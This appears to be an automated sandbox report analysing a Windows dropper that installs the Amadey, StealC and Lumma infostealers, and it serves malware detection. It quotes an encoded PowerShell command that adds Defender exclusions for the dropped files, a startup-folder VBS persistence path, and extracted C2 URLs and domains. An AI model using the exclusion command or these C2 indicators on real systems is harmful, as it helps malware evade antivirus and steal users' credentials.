Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe, ParentProcessId: 1748, ParentProcessName: Fwkdsz.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBN

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs" , ProcessId: 3812, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe, ParentProcessId: 1748, ParentProcessName: Fwkdsz.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBN

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2044, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe, ProcessId: 1748, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:19.674142+0100	2028371	3	Unknown Traffic	192.168.2.4	63854	188.114.96.3	443	TCP
2024-11-02T07:16:21.066251+0100	2028371	3	Unknown Traffic	192.168.2.4	63867	188.114.96.3	443	TCP
2024-11-02T07:16:22.674369+0100	2028371	3	Unknown Traffic	192.168.2.4	63873	188.114.96.3	443	TCP
2024-11-02T07:16:24.217434+0100	2028371	3	Unknown Traffic	192.168.2.4	63884	188.114.96.3	443	TCP
2024-11-02T07:16:26.239491+0100	2028371	3	Unknown Traffic	192.168.2.4	63896	188.114.96.3	443	TCP
2024-11-02T07:16:29.325555+0100	2028371	3	Unknown Traffic	192.168.2.4	63909	188.114.96.3	443	TCP
2024-11-02T07:16:31.633056+0100	2028371	3	Unknown Traffic	192.168.2.4	63923	188.114.96.3	443	TCP
2024-11-02T07:16:38.765975+0100	2028371	3	Unknown Traffic	192.168.2.4	63970	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:20.299336+0100	2054653	1	A Network Trojan was detected	192.168.2.4	63854	188.114.96.3	443	TCP
2024-11-02T07:16:21.767257+0100	2054653	1	A Network Trojan was detected	192.168.2.4	63867	188.114.96.3	443	TCP
2024-11-02T07:16:39.228519+0100	2054653	1	A Network Trojan was detected	192.168.2.4	63970	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:20.299336+0100	2049836	1	A Network Trojan was detected	192.168.2.4	63854	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:21.767257+0100	2049812	1	A Network Trojan was detected	192.168.2.4	63867	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:19.674142+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63854	188.114.96.3	443	TCP
2024-11-02T07:16:21.066251+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63867	188.114.96.3	443	TCP
2024-11-02T07:16:22.674369+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63873	188.114.96.3	443	TCP
2024-11-02T07:16:24.217434+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63884	188.114.96.3	443	TCP
2024-11-02T07:16:26.239491+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63896	188.114.96.3	443	TCP
2024-11-02T07:16:29.325555+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63909	188.114.96.3	443	TCP
2024-11-02T07:16:31.633056+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63923	188.114.96.3	443	TCP
2024-11-02T07:16:38.765975+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	63970	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:40.185875+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	63979	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:20.309414+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63856	185.215.113.43	80	TCP
2024-11-02T07:16:26.522216+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63895	185.215.113.43	80	TCP
2024-11-02T07:16:33.062501+0100	2044696	1	A Network Trojan was detected	192.168.2.4	63931	185.215.113.43	80	TCP
2024-11-02T07:16:44.068170+0100	2044696	1	A Network Trojan was detected	192.168.2.4	64006	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:18.940561+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	54087	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:18.952164+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	56371	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:19.017132+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	59645	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:18.925304+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	50868	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:18.963214+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	55265	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:29.952069+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	63908	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:29.937001+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	63908	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:30.235267+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	63908	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:31.434601+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	63908	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:30.255276+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	63908	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:23.351438+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	63873	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:29.638691+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	63908	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:12.728113+0100	2856121	1	A Network Trojan was detected	192.168.2.4	63813	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:05.735472+0100	2856147	1	A Network Trojan was detected	192.168.2.4	63773	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:11.766943+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	63787	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:09.037886+0100	2803305	3	Unknown Traffic	192.168.2.4	63794	208.109.77.116	80	TCP
2024-11-02T07:16:13.854592+0100	2803305	3	Unknown Traffic	192.168.2.4	63819	185.215.113.16	80	TCP
2024-11-02T07:16:21.270569+0100	2803305	3	Unknown Traffic	192.168.2.4	63862	185.215.113.16	80	TCP
2024-11-02T07:16:27.760726+0100	2803305	3	Unknown Traffic	192.168.2.4	63898	185.215.113.16	80	TCP
2024-11-02T07:16:34.038855+0100	2803305	3	Unknown Traffic	192.168.2.4	63937	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T07:16:32.035833+0100	2803304	3	Unknown Traffic	192.168.2.4	63908	185.215.113.206	80	TCP
2024-11-02T07:16:55.283955+0100	2803304	3	Unknown Traffic	192.168.2.4	64038	185.215.113.206	80	TCP
2024-11-02T07:16:58.862023+0100	2803304	3	Unknown Traffic	192.168.2.4	64038	185.215.113.206	80	TCP
2024-11-02T07:17:00.858615+0100	2803304	3	Unknown Traffic	192.168.2.4	64038	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\DiagTrack.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000001.00000002.1734062990.00000000004B1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 13.2.0d8313073f.exe.610000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 24da741fb6.exe.1236.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "navygenerayk.store", "fadehairucw.store", "necklacedmny.store", "crisiwarny.store", "scriptyprefej.store", "presticitpo.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Fwkdsz[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 52%
Source: file.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\DiagTrack.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 30
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 11
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 20
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 24
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetProcAddress
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: LoadLibraryA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: lstrcatA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: OpenEventA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CreateEventA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CloseHandle
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Sleep
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: VirtualFree
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetSystemInfo
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: VirtualAlloc
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: HeapAlloc
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetComputerNameA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: lstrcpyA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetProcessHeap
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetCurrentProcess
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: lstrlenA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ExitProcess
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetSystemTime
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: advapi32.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: gdi32.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: user32.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: crypt32.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ntdll.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetUserNameA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CreateDCA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetDeviceCaps
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ReleaseDC
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sscanf
